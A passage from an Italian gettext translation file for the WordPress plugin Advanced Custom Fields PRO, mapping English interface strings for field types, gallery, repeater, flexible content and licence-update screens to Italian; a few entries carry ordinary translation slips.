msgstr "Imposta il livello di zoom iniziale"

#: fields/google-map.php:202 fields/image.php:259 fields/image.php:292
#: fields/oembed.php:270 pro/fields/gallery.php:696 pro/fields/gallery.php:729
msgid "Height"
msgstr "Altezza"

#: fields/google-map.php:203
msgid "Customise the map height"
msgstr "Personalizza l'altezza della mappa iniziale"

#: fields/image.php:36
msgid "Image"
msgstr "Immagine"

#: fields/image.php:51
msgid "Select Image"
msgstr "Seleziona Immagine"

#: fields/image.php:52 pro/fields/gallery.php:53
msgid "Edit Image"
msgstr "Modifica Immagine"

#: fields/image.php:53 pro/fields/gallery.php:54
msgid "Update Image"
msgstr "Aggiorna Immagine"

#: fields/image.php:55
msgid "All images"
msgstr "Tutte le immagini"

#: fields/image.php:144 pro/fields/gallery.php:358 pro/fields/gallery.php:546
msgid "Remove"
msgstr "Rimuovi"

#: fields/image.php:160
msgid "No image selected"
msgstr "Nessun immagine selezionata"

#: fields/image.php:160
msgid "Add Image"
msgstr "Aggiungi Immagine"

#: fields/image.php:214
msgid "Image Array"
msgstr "Array Immagine"

#: fields/image.php:215
msgid "Image URL"
msgstr "URL Immagine"

#: fields/image.php:216
msgid "Image ID"
msgstr "ID Immagine"

#: fields/image.php:223
msgid "Preview Size"
msgstr "Dimensione Anteprima"

#: fields/image.php:224
msgid "Shown when entering data"
msgstr "Mostrato durante l'immissione dei dati"

#: fields/image.php:248 fields/image.php:281 pro/fields/gallery.php:685
#: pro/fields/gallery.php:718
msgid "Restrict which images can be uploaded"
msgstr "Limita i tipi di immagine che possono essere caricati"

#: fields/image.php:251 fields/image.php:284 fields/oembed.php:259
#: pro/fields/gallery.php:688 pro/fields/gallery.php:721
msgid "Width"
msgstr "Larghezza"

#: fields/message.php:36 fields/message.php:116 fields/true_false.php:141
msgid "Message"
msgstr "Messaggio"

#: fields/message.php:125 fields/textarea.php:176
msgid "New Lines"
msgstr "Nuove Linee"

#: fields/message.php:126 fields/textarea.php:177
msgid "Controls how new lines are rendered"
msgstr "Controlla come le nuove linee sono renderizzate"

#: fields/message.php:130 fields/textarea.php:181
msgid "Automatically add paragraphs"
msgstr "Aggiungi automaticamente paragrafi"

#: fields/message.php:131 fields/textarea.php:182
msgid "Automatically add &lt;br&gt;"
msgstr "Aggiungi automaticamente &lt;br&gt;"

#: fields/message.php:132 fields/textarea.php:183
msgid "No Formatting"
msgstr "Nessuna formattazione"

#: fields/message.php:139
msgid "Escape HTML"
msgstr "Escape HTML"

#: fields/message.php:140
msgid "Allow HTML markup to display as visible text instead of rendering"
msgstr "Visualizza HTML come testo"

#: fields/number.php:36
msgid "Number"
msgstr "Numero"

#: fields/number.php:181
msgid "Minimum Value"
msgstr "Valore Minimo"

#: fields/number.php:190
msgid "Maximum Value"
msgstr "Valore Massimo"

#: fields/number.php:199
msgid "Step Size"
msgstr "Step Dimensione"

#: fields/number.php:237
msgid "Value must be a number"
msgstr "Il valore deve essere un numero"

#: fields/number.php:255
#, php-format
msgid "Value must be equal to or higher than %d"
msgstr "Il valore deve essere uguale o superiore a %d"

#: fields/number.php:263
#, php-format
msgid "Value must be equal to or lower than %d"
msgstr "Il valore deve essere uguale o inferiore a %d"

#: fields/oembed.php:36
msgid "oEmbed"
msgstr "oEmbed"

#: fields/oembed.php:207
msgid "Enter URL"
msgstr "Inserisci URL"

#: fields/oembed.php:220 fields/taxonomy.php:900
msgid "Error."
msgstr "Errore."

#: fields/oembed.php:220
msgid "No embed found for the given URL."
msgstr "Nessun embed trovato per l'URL specificato."

#: fields/oembed.php:256 fields/oembed.php:267
msgid "Embed Size"
msgstr "Dimensione Embed"

#: fields/page_link.php:192
msgid "Archives"
msgstr "Archivi"

#: fields/page_link.php:500 fields/post_object.php:399
#: fields/relationship.php:709
msgid "Filter by Post Type"
msgstr "Filtra per tipo di Post"

#: fields/page_link.php:508 fields/post_object.php:407
#: fields/relationship.php:717
msgid "All post types"
msgstr "Tutti i tipi di post"

#: fields/page_link.php:514 fields/post_object.php:413
#: fields/relationship.php:723
msgid "Filter by Taxonomy"
msgstr "Fitra per tassonomia"

#: fields/page_link.php:522 fields/post_object.php:421
#: fields/relationship.php:731
msgid "All taxonomies"
msgstr "Tutte le Tassonomie"

#: fields/page_link.php:528 fields/post_object.php:427 fields/radio.php:251
#: fields/select.php:481 fields/taxonomy.php:795 fields/user.php:394
msgid "Allow Null?"
msgstr "Consenti Nullo?"

#: fields/page_link.php:538
msgid "Allow Archives URLs"
msgstr "Consentire URL degli Archivi"

#: fields/page_link.php:548 fields/post_object.php:437 fields/select.php:491
#: fields/user.php:404
msgid "Select multiple values?"
msgstr "Selezionare più valori?"

#: fields/password.php:36
msgid "Password"
msgstr "Password"

#: fields/post_object.php:36 fields/post_object.php:452
#: fields/relationship.php:788
msgid "Post Object"
msgstr "Oggetto Post"

#: fields/post_object.php:453 fields/relationship.php:789
msgid "Post ID"
msgstr "ID Post"

#: fields/radio.php:36
msgid "Radio Button"
msgstr "Bottone Radio"

#: fields/radio.php:261
msgid "Other"
msgstr "Altro"

#: fields/radio.php:266
msgid "Add 'other' choice to allow for custom values"
msgstr "Aggiungi scelta 'altro' per consentire valori personalizzati"

#: fields/radio.php:272
msgid "Save Other"
msgstr "Salva Altro"

#: fields/radio.php:277
msgid "Save 'other' values to the field's choices"
msgstr "Salvare i valori 'altri' alle scelte di campo"

#: fields/relationship.php:36
msgid "Relationship"
msgstr "Relazioni"

#: fields/relationship.php:48
msgid "Minimum values reached ( {min} values )"
msgstr "Valori minimi raggiunti ( valori {min} )"

#: fields/relationship.php:49
msgid "Maximum values reached ( {max} values )"
msgstr "Valori massimi raggiunti ( valori {max} )"

#: fields/relationship.php:50
msgid "Loading"
msgstr "Caricamento"

#: fields/relationship.php:51
msgid "No matches found"
msgstr "Nessun risultato"

#: fields/relationship.php:590
msgid "Search..."
msgstr "Ricerca ..."

#: fields/relationship.php:599
msgid "Select post type"
msgstr "Seleziona Post Type"

#: fields/relationship.php:612
msgid "Select taxonomy"
msgstr "Seleziona Tassonomia"

#: fields/relationship.php:744 fields/taxonomy.php:36 fields/taxonomy.php:765
msgid "Taxonomy"
msgstr "Tassonomie"

#: fields/relationship.php:751
msgid "Elements"
msgstr "Elementi"

#: fields/relationship.php:752
msgid "Selected elements will be displayed in each result"
msgstr "Gli elementi selezionati verranno visualizzati in ogni risultato"

#: fields/relationship.php:763
msgid "Minimum posts"
msgstr "Post minimi"

#: fields/relationship.php:772
msgid "Maximum posts"
msgstr "Post massimi"

#: fields/relationship.php:876 pro/fields/gallery.php:823
#, php-format
msgid "%s requires at least %s selection"
msgid_plural "%s requires at least %s selections"
msgstr[0] "%s richiede la selezione di almeno %s"
msgstr[1] "%s richiede le selezioni di almeno %s"

#: fields/select.php:36 fields/taxonomy.php:787
msgctxt "noun"
msgid "Select"
msgstr "Seleziona"

#: fields/select.php:49
msgctxt "Select2 JS matches_1"
msgid "One result is available, press enter to select it."
msgstr "Un risultato disponibile, premi invio per selezionarlo."

#: fields/select.php:50
#, php-format
msgctxt "Select2 JS matches_n"
msgid "%d results are available, use up and down arrow keys to navigate."
msgstr "%d risultati disponibili, usa i tasti freccia su e giù per scorrere."

#: fields/select.php:51
msgctxt "Select2 JS matches_0"
msgid "No matches found"
msgstr "Nessun riscontro trovato"

#: fields/select.php:52
msgctxt "Select2 JS input_too_short_1"
msgid "Please enter 1 or more characters"
msgstr "Per favore inserire 1 o più caratteri"

#: fields/select.php:53
#, php-format
msgctxt "Select2 JS input_too_short_n"
msgid "Please enter %d or more characters"
msgstr "Inserisci %d o più caratteri"

#: fields/select.php:54
msgctxt "Select2 JS input_too_long_1"
msgid "Please delete 1 character"
msgstr "Per favore cancella 1 carattere"

#: fields/select.php:55
#, php-format
msgctxt "Select2 JS input_too_long_n"
msgid "Please delete %d characters"
msgstr "Cancellare %d caratteri"

#: fields/select.php:56
msgctxt "Select2 JS selection_too_long_1"
msgid "You can only select 1 item"
msgstr "Puoi selezionare solo 1 elemento"

#: fields/select.php:57
#, php-format
msgctxt "Select2 JS selection_too_long_n"
msgid "You can only select %d items"
msgstr "È possibile selezionare solo %d elementi."

#: fields/select.php:58
msgctxt "Select2 JS load_more"
msgid "Loading more results&hellip;"
msgstr "Caricamento altri risultati&hellip;"

#: fields/select.php:59
msgctxt "Select2 JS searching"
msgid "Searching&hellip;"
msgstr "Cercando&hellip;"

#: fields/select.php:60
msgctxt "Select2 JS load_fail"
msgid "Loading failed"
msgstr "Caricamento fallito"

#: fields/select.php:501 fields/true_false.php:159
msgid "Stylised UI"
msgstr "UI stilizzata"

#: fields/select.php:512
msgid "Use AJAX to lazy load choices?"
msgstr "Usa AJAX per le scelte di carico lazy?"

#: fields/select.php:523
msgid "Specify the value returned"
msgstr "Specificare il valore restituito"

#: fields/tab.php:36
msgid "Tab"
msgstr "Scheda"

#: fields/tab.php:97
msgid ""
"The tab field will display incorrectly when added to a Table style repeater "
"field or flexible content field layout"
msgstr ""
"Il campo scheda visualizzerà correttamente quando aggiunto a un campo "
"ripetitore stile di tabella o disposizione flessibile in campo dei contenuti"

#: fields/tab.php:98
msgid ""
"Use \"Tab Fields\" to better organize your edit screen by grouping fields "
"together."
msgstr ""
"Usa \"Campi Scheda\" per organizzare al meglio la vostra schermata di "
"modifica raggruppando i campi insieme."

#: fields/tab.php:99
msgid ""
"All fields following this \"tab field\" (or until another \"tab field\" is "
"defined) will be grouped together using this field's label as the tab "
"heading."
msgstr ""
"Tutti i campi che seguono questo \"campo scheda\" (o finché un altro \"campo "
"tab \" viene definito) verranno raggruppati utilizzando l'etichetta di "
"questo campo come intestazione scheda."

#: fields/tab.php:113
msgid "Placement"
msgstr "Posizione"

#: fields/tab.php:125
msgid "End-point"
msgstr "Punto finale"

#: fields/tab.php:126
msgid "Use this field as an end-point and start a new group of tabs"
msgstr ""
"Utilizzare questo campo come un punto finale e iniziare un nuovo gruppo di "
"schede"

#: fields/taxonomy.php:715 fields/true_false.php:95 fields/true_false.php:184
#: pro/admin/views/settings-updates.php:103
msgid "No"
msgstr "No"

#: fields/taxonomy.php:734
msgid "None"
msgstr "Nessuno"

#: fields/taxonomy.php:766
msgid "Select the taxonomy to be displayed"
msgstr "Seleziona la Tassonomia da mostrare"

#: fields/taxonomy.php:775
msgid "Appearance"
msgstr "Aspetto"

#: fields/taxonomy.php:776
msgid "Select the appearance of this field"
msgstr "Seleziona l'aspetto per questo Campo"

#: fields/taxonomy.php:781
msgid "Multiple Values"
msgstr "Valori Multipli"

#: fields/taxonomy.php:783
msgid "Multi Select"
msgstr "Selezione Multipla"

#: fields/taxonomy.php:785
msgid "Single Value"
msgstr "Valore Singolo"

#: fields/taxonomy.php:786
msgid "Radio Buttons"
msgstr "Bottoni Radio"

#: fields/taxonomy.php:805
msgid "Create Terms"
msgstr "Crea Termini"

#: fields/taxonomy.php:806
msgid "Allow new terms to be created whilst editing"
msgstr "Abilita la creazione di nuovi Termini"

#: fields/taxonomy.php:815
msgid "Save Terms"
msgstr "Salva Termini"

#: fields/taxonomy.php:816
msgid "Connect selected terms to the post"
msgstr "Collega i Termini selezionati al Post"

#: fields/taxonomy.php:825
msgid "Load Terms"
msgstr "Carica Termini"

#: fields/taxonomy.php:826
msgid "Load value from posts terms"
msgstr "Carica valori dai Termini del Post"

#: fields/taxonomy.php:840
msgid "Term Object"
msgstr "Oggetto Termine"

#: fields/taxonomy.php:841
msgid "Term ID"
msgstr "ID Termine"

#: fields/taxonomy.php:900
#, php-format
msgid "User unable to add new %s"
msgstr "Utente non abilitato ad aggiungere %s"

#: fields/taxonomy.php:913
#, php-format
msgid "%s already exists"
msgstr "%s esiste già"

#: fields/taxonomy.php:954
#, php-format
msgid "%s added"
msgstr "%s aggiunto"

#: fields/taxonomy.php:999
msgid "Add"
msgstr "Aggiungi"

#: fields/text.php:36
msgid "Text"
msgstr "Testo"

#: fields/text.php:178 fields/textarea.php:157
msgid "Character Limit"
msgstr "Limite Carattere"

#: fields/text.php:179 fields/textarea.php:158
msgid "Leave blank for no limit"
msgstr "Lasciare vuoto per nessun limite"

#: fields/textarea.php:36
msgid "Text Area"
msgstr "Area di Testo"

#: fields/textarea.php:166
msgid "Rows"
msgstr "Righe"

#: fields/textarea.php:167
msgid "Sets the textarea height"
msgstr "Imposta le righr dell'area di testo"

#: fields/time_picker.php:36
msgid "Time Picker"
msgstr "Selettore di tempo"

#: fields/true_false.php:36
msgid "True / False"
msgstr "Vero / Falso"

#: fields/true_false.php:94 fields/true_false.php:174
#: pro/admin/views/settings-updates.php:93
msgid "Yes"
msgstr "Si"

#: fields/true_false.php:142
msgid "Displays text alongside the checkbox"
msgstr "Visualizza il testo a fianco alla casella di controllo"

#: fields/true_false.php:170
msgid "On Text"
msgstr "Testo Attivo"

#: fields/true_false.php:171
msgid "Text shown when active"
msgstr "Testo visualizzato quando è attivo"

#: fields/true_false.php:180
msgid "Off Text"
msgstr "Testo Disattivo"

#: fields/true_false.php:181
msgid "Text shown when inactive"
msgstr "Testo mostrato quando inattivo"

#: fields/url.php:36
msgid "Url"
msgstr "Url"

#: fields/url.php:165
msgid "Value must be a valid URL"
msgstr "Il valore deve essere una URL valida"

#: fields/user.php:379
msgid "Filter by role"
msgstr "Filtra per ruolo"

#: fields/user.php:387
msgid "All user roles"
msgstr "Tutti i ruoli utente"

#: fields/wysiwyg.php:36
msgid "Wysiwyg Editor"
msgstr "Editor Wysiwyg"

#: fields/wysiwyg.php:394
msgid "Visual"
msgstr "Visuale"

#: fields/wysiwyg.php:395
msgctxt "Name for the Text editor tab (formerly HTML)"
msgid "Text"
msgstr "Testo"

#: fields/wysiwyg.php:401
msgid "Click to initialize TinyMCE"
msgstr "Clicca per inizializzare TinyMCE"

#: fields/wysiwyg.php:454
msgid "Tabs"
msgstr "Schede"

#: fields/wysiwyg.php:459
msgid "Visual & Text"
msgstr "Visuale e Testuale"

#: fields/wysiwyg.php:460
msgid "Visual Only"
msgstr "Solo Visuale"

#: fields/wysiwyg.php:461
msgid "Text Only"
msgstr "Solo Testuale"

#: fields/wysiwyg.php:468
msgid "Toolbar"
msgstr "Toolbar"

#: fields/wysiwyg.php:478
msgid "Show Media Upload Buttons?"
msgstr "Mostra Bottoni caricamento Media?"

#: fields/wysiwyg.php:488
msgid "Delay initialization?"
msgstr "Ritardo inizializzazione?"

#: fields/wysiwyg.php:489
msgid "TinyMCE will not be initalized until field is clicked"
msgstr ""
"TinyMCE non sarà inizializzato fino a quando il campo non viene cliccato"

#: forms/comment.php:166 forms/post.php:295 pro/admin/options-page.php:416
msgid "Edit field group"
msgstr "Modifica Field Group"

#: forms/widget.php:235
#, php-format
msgid "1 field requires attention."
msgid_plural "%d fields require attention."
msgstr[0] "1 campo richiede attenzione."
msgstr[1] "%d campi richiedono attenzione."

#. Plugin Name of the plugin/theme
#: pro/acf-pro.php:24
msgid "Advanced Custom Fields PRO"
msgstr "Advanced Custom Fields PRO"

#: pro/acf-pro.php:192
msgid "Flexible Content requires at least 1 layout"
msgstr "Flexible Content richiede almeno 1 layout"

#: pro/admin/options-page.php:49
msgid "Options Page"
msgstr "Pagina Opzioni"

#: pro/admin/options-page.php:85
msgid "No options pages exist"
msgstr "Nessuna Pagina Opzioni esistente"

#: pro/admin/options-page.php:303
msgid "Options Updated"
msgstr "Opzioni Aggiornate"

#: pro/admin/options-page.php:309
msgid "Publish"
msgstr "Pubblica"

#: pro/admin/options-page.php:315
#, php-format
msgid ""
"No Custom Field Groups found for this options page. <a href=\"%s\">Create a "
"Custom Field Group</a>"
msgstr ""
"Nessun Field Group personalizzato trovato in questa Pagina Opzioni. <a href="
"\"%s\">Crea un Field Group personalizzato</a>"

#: pro/admin/settings-updates.php:57 pro/admin/views/settings-updates.php:17
msgid "Updates"
msgstr "Aggiornamenti"

#: pro/admin/settings-updates.php:87
msgid "<b>Error</b>. Could not connect to update server"
msgstr "<b>Errore</b>.Impossibile connettersi al server di aggiornamento"

#: pro/admin/views/settings-updates.php:11
msgid "Deactivate License"
msgstr "Disattivare Licenza"

#: pro/admin/views/settings-updates.php:11
msgid "Activate License"
msgstr "Attiva Licenza"

#: pro/admin/views/settings-updates.php:21
msgid "License Information"
msgstr "Informazioni Licenza"

#: pro/admin/views/settings-updates.php:24
#, php-format
msgid ""
"To unlock updates, please enter your license key below. If you don't have a "
"licence key, please see <a href=\"%s\" target=\"_blank\">details & pricing</"
"a>."
msgstr ""
"Per sbloccare gli aggiornamenti, si prega di inserire la chiave di licenza "
"qui sotto. Se non hai una chiave di licenza, si prega di vedere <a href=\"%s"
"\" target=\"_blank\">Dettagli e prezzi</a>."

#: pro/admin/views/settings-updates.php:33
msgid "License Key"
msgstr "Chiave di licenza"

#: pro/admin/views/settings-updates.php:65
msgid "Update Information"
msgstr "Informazioni di aggiornamento"

#: pro/admin/views/settings-updates.php:72
msgid "Current Version"
msgstr "Versione corrente"

#: pro/admin/views/settings-updates.php:80
msgid "Latest Version"
msgstr "Ultima versione"

#: pro/admin/views/settings-updates.php:88
msgid "Update Available"
msgstr "Aggiornamento Disponibile"

#: pro/admin/views/settings-updates.php:96
msgid "Update Plugin"
msgstr "Aggiorna Plugin"

#: pro/admin/views/settings-updates.php:98
msgid "Please enter your license key above to unlock updates"
msgstr "Inserisci il tuo codice di licenza per sbloccare gli aggiornamenti"

#: pro/admin/views/settings-updates.php:104
msgid "Check Again"
msgstr "Ricontrollare"

#: pro/admin/views/settings-updates.php:121
msgid "Upgrade Notice"
msgstr "Avviso di Aggiornamento"

#: pro/api/api-options-page.php:22 pro/api/api-options-page.php:23
msgid "Options"
msgstr "Opzioni"

#: pro/api/api-pro.php:330
msgid ""
"Error validating ACF PRO license URL (website does not match). Please re-"
"activate your license"
msgstr ""
"Errore durante la convalida dell'URL della licenza di ACF PRO (sito web non "
"corrisponde). Si prega di riattivare la licenza"

#: pro/core/updates.php:206
#, php-format
msgid ""
"To enable updates, please enter your license key on the <a href=\"%s"
"\">Updates</a> page. If you don't have a licence key, please see <a href=\"%s"
"\">details & pricing</a>."
msgstr ""
"Per attivare gli aggiornamenti, per favore inserisci la tua chiave di "
"licenza nella pagina <a href=\"%s\">Aggiornamenti</a>. Se non hai una chiave "
"di licenza, per favore vedi <a href=\"%s\">Dettagli e prezzi</a>"

#: pro/fields/clone.php:36
msgctxt "noun"
msgid "Clone"
msgstr "Clona"

#: pro/fields/clone.php:820
msgid "Select one or more fields you wish to clone"
msgstr "Selezionare uno o più campi che si desidera clonare"

#: pro/fields/clone.php:835
msgid "Display"
msgstr "Visualizza"

#: pro/fields/clone.php:836
msgid "Specify the style used to render the clone field"
msgstr "Specificare lo stile utilizzato per il rendering del campo clona"

#: pro/fields/clone.php:841
msgid "Group (displays selected fields in a group within this field)"
msgstr ""
"Gruppo (Visualizza campi selezionati in un gruppo all'interno di questo "
"campo)"

#: pro/fields/clone.php:842
msgid "Seamless (replaces this field with selected fields)"
msgstr "Senza interruzione (sostituisce questo campo con i campi selezionati)"

#: pro/fields/clone.php:850
msgid "Specify the style used to render the selected fields"
msgstr "Specificare lo stile utilizzato per il rendering dei campi selezionati"

#: pro/fields/clone.php:855 pro/fields/flexible-content.php:631
#: pro/fields/repeater.php:514
msgid "Block"
msgstr "Blocco"

#: pro/fields/clone.php:856 pro/fields/flexible-content.php:630
#: pro/fields/repeater.php:513
msgid "Table"
msgstr "Tabella"

#: pro/fields/clone.php:857 pro/fields/flexible-content.php:632
#: pro/fields/repeater.php:515
msgid "Row"
msgstr "Riga"

#: pro/fields/clone.php:863
#, php-format
msgid "Labels will be displayed as %s"
msgstr "Etichette verranno visualizzate come %s"

#: pro/fields/clone.php:866
msgid "Prefix Field Labels"
msgstr "Prefisso Etichetta Campo"

#: pro/fields/clone.php:877
#, php-format
msgid "Values will be saved as %s"
msgstr "I valori verranno salvati come %s"

#: pro/fields/clone.php:880
msgid "Prefix Field Names"
msgstr "Prefisso Nomi Campo"

#: pro/fields/clone.php:998
msgid "Unknown field"
msgstr "Campo sconosciuto"

#: pro/fields/clone.php:1037
msgid "Unknown field group"
msgstr "Field Group sconosciuto"

#: pro/fields/clone.php:1041
#, php-format
msgid "All fields from %s field group"
msgstr "Tutti i campi dal %s field group"

#: pro/fields/flexible-content.php:36
msgid "Flexible Content"
msgstr "Contenuto Flessibile"

#: pro/fields/flexible-content.php:42 pro/fields/repeater.php:221
#: pro/fields/repeater.php:526
msgid "Add Row"
msgstr "Aggiungi Riga"

#: pro/fields/flexible-content.php:45
msgid "layout"
msgstr "layout"

#: pro/fields/flexible-content.php:46
msgid "layouts"
msgstr "layout"

#: pro/fields/flexible-content.php:47
msgid "remove {layout}?"
msgstr "rimuovi {layout}?"

#: pro/fields/flexible-content.php:48
msgid "This field requires at least {min} {identifier}"
msgstr "Questo campoQuesto campo richiede almeno {min} {identifier}"

#: pro/fields/flexible-content.php:49
msgid "This field has a limit of {max} {identifier}"
msgstr "Questo campo ha un limite di {max} {identifier}"

#: pro/fields/flexible-content.php:50
msgid "This field requires at least {min} {label} {identifier}"
msgstr "Questo campo richiede almeno {min} {label} {identifier}"

#: pro/fields/flexible-content.php:51
msgid "Maximum {label} limit reached ({max} {identifier})"
msgstr "Massimo {label} limite raggiunto ({max} {identifier})"

#: pro/fields/flexible-content.php:52
msgid "{available} {label} {identifier} available (max {max})"
msgstr "{available} {label} {identifier} disponibile (max {max})"

#: pro/fields/flexible-content.php:53
msgid "{required} {label} {identifier} required (min {min})"
msgstr "{required} {label} {identifier} required (min {min})ichiesto"

#: pro/fields/flexible-content.php:282
#, php-format
msgid "Click the \"%s\" button below to start creating your layout"
msgstr "Clicca il bottone \"%s\" qui sotto per iniziare a creare il layout"

#: pro/fields/flexible-content.php:425
msgid "Add layout"
msgstr "Aggiungi Layout"

#: pro/fields/flexible-content.php:426
msgid "Remove layout"
msgstr "Rimuovi Layout"

#: pro/fields/flexible-content.php:427 pro/fields/repeater.php:351
msgid "Click to toggle"
msgstr "Clicca per alternare"

#: pro/fields/flexible-content.php:573
msgid "Reorder Layout"
msgstr "Riordina Layout"

#: pro/fields/flexible-content.php:573
msgid "Reorder"
msgstr "Riordina"

#: pro/fields/flexible-content.php:574
msgid "Delete Layout"
msgstr "Cancella Layout"

#: pro/fields/flexible-content.php:575
msgid "Duplicate Layout"
msgstr "Duplica Layout"

#: pro/fields/flexible-content.php:576
msgid "Add New Layout"
msgstr "Aggiungi Nuovo Layout"

#: pro/fields/flexible-content.php:647
msgid "Min"
msgstr "Min"

#: pro/fields/flexible-content.php:660
msgid "Max"
msgstr "Max"

#: pro/fields/flexible-content.php:688 pro/fields/repeater.php:522
msgid "Button Label"
msgstr "Etichetta Bottone"

#: pro/fields/flexible-content.php:697
msgid "Minimum Layouts"
msgstr "Layout Minimi"

#: pro/fields/flexible-content.php:706
msgid "Maximum Layouts"
msgstr "Layout Massimi"

#: pro/fields/gallery.php:36
msgid "Gallery"
msgstr "Galleria"

#: pro/fields/gallery.php:52
msgid "Add Image to Gallery"
msgstr "Aggiungi Immagine alla Galleria"

#: pro/fields/gallery.php:56
msgid "Maximum selection reached"
msgstr "Selezione massima raggiunta"

#: pro/fields/gallery.php:336
msgid "Length"
msgstr "Lunghezza"

#: pro/fields/gallery.php:379
msgid "Caption"
msgstr "Didascalia"

#: pro/fields/gallery.php:388
msgid "Alt Text"
msgstr "Testo Alt"

#: pro/fields/gallery.php:559
msgid "Add to gallery"
msgstr "Aggiungi a Galleria"

#: pro/fields/gallery.php:563
msgid "Bulk actions"
msgstr "Azioni in blocco"

#: pro/fields/gallery.php:564
msgid "Sort by date uploaded"
msgstr "Ordina per aggiornamento data"

#: pro/fields/gallery.php:565
msgid "Sort by date modified"
msgstr "Ordina per data modifica"

#: pro/fields/gallery.php:566
msgid "Sort by title"
msgstr "Ordina per titolo"

#: pro/fields/gallery.php:567
msgid "Reverse current order"
msgstr "Ordine corrente inversa"

#: pro/fields/gallery.php:585
msgid "Close"
msgstr "Chiudi"

#: pro/fields/gallery.php:639
msgid "Minimum Selection"
msgstr "Seleziona Minima"

#: pro/fields/gallery.php:648
msgid "Maximum Selection"
msgstr "Seleziona Massima"

#: pro/fields/gallery.php:657
msgid "Insert"
msgstr "Inserisci"

#: pro/fields/gallery.php:658
msgid "Specify where new attachments are added"
msgstr "Specificare dove vengono aggiunti nuovi allegati"

#: pro/fields/gallery.php:662
msgid "Append to the end"
msgstr "Aggiungere alla fine"

#: pro/fields/gallery.php:663
msgid "Prepend to the beginning"
msgstr "Anteporre all'inizio"

#: pro/fields/repeater.php:36
msgid "Repeater"
msgstr "Ripetitore"

#: pro/fields/repeater.php:47
msgid "Minimum rows reached ({min} rows)"
msgstr "Righe minime raggiunte ({min} righe)"

#: pro/fields/repeater.php:48
msgid "Maximum rows reached ({max} rows)"
msgstr "Righe massime raggiunte ({max} righe)"

#: pro/fields/repeater.php:396
msgid "Add row"
msgstr "Aggiungi riga"

#: pro/fields/repeater.php:397
msgid "Remove row"
msgstr "Rimuovi riga"

#: pro/fields/repeater.php:445
msgid "Sub Fields"
msgstr "Campi Sub"

#: pro/fields/repeater.php:475
msgid "Collapsed"
msgstr "Collassata"

#: pro/fields/repeater.php:476
msgid "Select a sub field to show when row is collapsed"
msgstr ""
"Selezionare un campo secondario da visualizzare quando la riga è collassata"

#: pro/fields/repeater.php:486
msgid "Minimum Rows"
msgstr "Righe Minime"

#: pro/fields/repeater.php:496
msgid "Maximum Rows"
msgstr "Righe Massime"

#. Plugin URI of the plugin/theme
msgid "https://www.advancedcustomfields.com/"
msgstr "https://www.advancedcustomfields.com/"

#. Description of the plugin/theme
msgid "Customise WordPress with powerful, professional and intuitive fields"
msgstr "Personalizza WordPress con campi potenti, professionali e intuitivi"

#. Author of the plugin/theme
msgid "Elliot Condon"
msgstr "Elliot Condon"

#. Author URI of the plugin/theme
msgid "http://www.elliotcondon.com/"
msgstr "elliot condon"

#~ msgid "See what's new"
#~ msgstr "Guarda cosa c'è di nuovo"

#~ msgid "Disabled"
#~ msgstr "Disabilitato"

#~ msgid "Disabled <span class=\"count\">(%s)</span>"
#~ msgid_plural "Disabled <span class=\"count\">(%s)</span>"
#~ msgstr[0] "Disabilitato <span class=\"count\">(%s)</span>"
#~ msgstr[1] "Disabilitato <span class=\"count\">(%s)</span>"

#~ msgid "'How to' guides"
#~ msgstr "Guide del 'come si fa'"

#~ msgid "Created by"
#~ msgstr "Creato da"

#~ msgid "Text shown when not active"
#~ msgstr "Testo visualizzato quando non è attivo"

#~ msgid ""
#~ "Error validating license URL (website does not match). Please re-activate "
#~ "your license"
#~ msgstr ""
#~ "Errore nella convalida licenza URL (sito Web non corrisponde). Si prega "
#~ "di ri-attivare la licenza"

#~ msgid "Error loading update"
#~ msgstr "Errore durante il caricamento."

#~ msgid "eg. Show extra content"
#~ msgstr "es. Mostra contenuti extra"

#~ msgid "Select"
#~ msgstr "Seleziona"

#~ msgctxt "Field label"
#~ msgid "Clone"
#~ msgstr "Clona"

#~ msgctxt "Field instruction"
#~ msgid "Clone"
#~ msgstr "Clona"

#~ msgid "<b>Connection Error</b>. Sorry, please try again"
#~ msgstr "<b>Errore di connessione</b>. Spiacenti, per favore riprova"

#~ msgid "<b>Success</b>. Import tool added %s field groups: %s"
#~ msgstr ""
#~ "<b>Successo</b>. Lo strumento di importazione ha aggiunto %s Field Group: "
#~ "%s"

#~ msgid ""
#~ "<b>Warning</b>. Import tool detected %s field groups already exist and "
#~ "have been ignored: %s"
#~ msgstr ""
#~ "<b>Attenzione</b>. Lo strumento di importazione ha trovato %s \n"
#~ "Field Group\n"
#~ " già esistenti e sono stati ignorati: %s"

#~ msgid "Upgrade ACF"
#~ msgstr "Aggiorna ACF"

#~ msgid "Upgrade"
#~ msgstr "Aggiornamento"

#~ msgid ""
#~ "The following sites require a DB upgrade. Check the ones you want to "
#~ "update and then click “Upgrade Database”."
#~ msgstr ""
#~ "I seguenti siti necessitano di un aggiornamento Database. Seleziona "
#~ "quelli da aggiornare e clicca \"Aggiorna Database\""

#~ msgid "Done"
#~ msgstr "Fatto"

#~ msgid "Today"
#~ msgstr "Oggi"

#~ msgid "Show a different month"
#~ msgstr "Mostra un altro mese"

#~ msgid "See what's new in"
#~ msgstr "Guarda cosa c'è di nuovo"

#~ msgid "version"
#~ msgstr "versione"

#~ msgid "Upgrading data to"
#~ msgstr "Aggiornare i dati a"

#~ msgid "Return format"
#~ msgstr "Formato ritorno"

#~ msgid "uploaded to this post"
#~ msgstr "caricare a questo post"

#~ msgid "File Name"
#~ msgstr "Nome file"

#~ msgid "File Size"
#~ msgstr "Dimensione file"

#~ msgid "No File selected"
#~ msgstr "Nessun file selezionato"

#~ msgid "Save Options"
#~ msgstr "Salva Opzioni"

#~ msgid "License"
#~ msgstr "Licenza"

#~ msgid ""
#~ "To unlock updates, please enter your license key below. If you don't have "
#~ "a licence key, please see"
#~ msgstr ""
#~ "Per sbloccare gli aggiornamenti, inserisci il tuo codice di licenza di "
#~ "seguito. Se non si dispone di una chiave di licenza, si prega di "
#~ "consultare"

#~ msgid "details & pricing"
#~ msgstr "dettagli & prezzi"

#~ msgid ""
#~ "To enable updates, please enter your license key on the <a href=\"%s"
#~ "\">Updates</a> page. If you don't have a licence key, please see <a href="
#~ "\"%s\">details & pricing</a>"
#~ msgstr ""
#~ "Per attivare gli aggiornamenti, inserisci il tuo codice di licenza sulla "
#~ "pagina <a href=\"%s\">Aggiornamenti</a>. Se non si dispone di una chiave "
#~ "di licenza, si prega di consultare <a href=\"%s\">dettagli & prezzi</a>"

#~ msgid "Advanced Custom Fields Pro"
#~ msgstr "Advanced Custom Fields Pro"

#~ msgid "http://www.advancedcustomfields.com/"
#~ msgstr "http://www.advancedcustomfields.com/"

